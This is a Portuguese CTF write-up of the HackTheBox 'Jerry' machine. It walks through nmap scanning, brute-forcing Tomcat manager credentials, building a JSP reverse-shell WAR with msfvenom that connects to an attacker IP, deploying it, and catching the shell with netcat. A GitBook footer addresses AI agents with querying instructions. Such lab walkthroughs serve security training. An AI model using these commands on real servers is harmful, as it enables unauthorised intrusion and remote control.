> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/jerry-hackthebox-writeup.md).

# Resolução da máquina Jerry do HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Jerry>" %}

{% hint style="warning" %}
**Habilidades:**

* Vazamento de Informações
* Abusando do Tomcat (Intrusão e Escalada de Privilégios)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/d8f58e9942c00e0673fea776215ab109ca98c450" alt=""><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/82bdd574e0a1df8ceb49a7f85c14e2094f873707" alt=""><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -min-rate 5000 -Pn 10.10.10.95 -oG allPorts
```

<figure><img src="/files/d22269492f054e1b6fd9175830497792ac5917d3" alt=""><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência.

<figure><img src="/files/229de5c689c0796c722bff970d127deb6c935e5f" alt="" width="563"><figcaption></figcaption></figure>

**Varredura de versão de portas com Nmap:**

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p8080 10.10.10.95 -oN targeted
```

<figure><img src="/files/a9f683ed7cf88995d101b53135eca8624e8c5f25" alt=""><figcaption></figcaption></figure>

## Porta 8080 - Tomcat

A porta 8080 hospeda um servidor **Apache Tomcat**. Uma análise com `whatweb` revela a **7.0.88** versão, conhecida por ser vulnerável.

<div data-full-width="true"><figure><img src="/files/ea077aaf8a32adc45ee19f9975ec3a3610b4a1a7" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/90ed1476fe19d609304105ac135f6edb468e48fe" alt=""><figcaption></figcaption></figure>

### Vazamento de Informações

**Conectar-se ao Painel Administrativo**

<figure><img src="/files/84c2b6c0129ea5824fa71dba389bd286545454ba" alt=""><figcaption></figcaption></figure>

Tentamos acessar o `/manager/html` painel com credenciais padrão (por ex. `admin:admin`), mas isso falha.

{% embed url="<https://github.com/bl4de/security-tools/blob/master/apache-tomcat-login-bruteforce.py>" %}

/*/* Ataque de Força Bruta em Identificadores/*/*

Usamos a `tomcat-betterdefaultpasslist.txt` dicionário para realizar um ataque de força bruta às credenciais:

Para automatizar esta tarefa, usamos um script em Python:

```bash
python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95 -p 8080 -P http
```

**Resultado:** As credenciais válidas encontradas são:/ `tomcat:s3cret`

<figure><img src="/files/93b856c3b168744babf21f785dc35a9516672d9a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1fa038517c7d18cbda08dca3eca88974523b8a34" alt=""><figcaption></figcaption></figure>

### Vulnerabilidade no Tomcat:

**1. Geração de um arquivo WAR:**/ Usamos `msfvenom` para criar um arquivo WAR contendo uma shell reversa:

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=443 -f war -o reverse.war
```

<figure><img src="/files/658665ead421c424ad2ca579d6712d368a6f7e96" alt=""><figcaption></figcaption></figure>

**2. Implantação via Gerenciador do Tomcat:**/ Enviamos o arquivo WAR para o `/manager/html` painel.

<figure><img src="/files/df3e87540238bde1f5698931dd0ec1e70646209f" alt="" width="563"><figcaption></figcaption></figure>

**3. Escutar a shell reversa:**/ Configuramos um listener para capturar a conexão reversa:

```bash
rlwrap nc -nlvp 443
```

Ao executar o arquivo implantado (`/reverse`), obtemos uma shell interativa na máquina-alvo.

<figure><img src="/files/77db77a32418ebdfdcc87c6092e01eb4bb8aca7d" alt=""><figcaption></figcaption></figure>

### Flags user.txt + root.txt :)

<figure><img src="/files/7f5395ac1d48ae83e0eb4a7d3d92f0be6813777d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fbe429f37f82adbe09634a71a7d9f6e0a8c03292" alt="" width="509"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/jerry-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
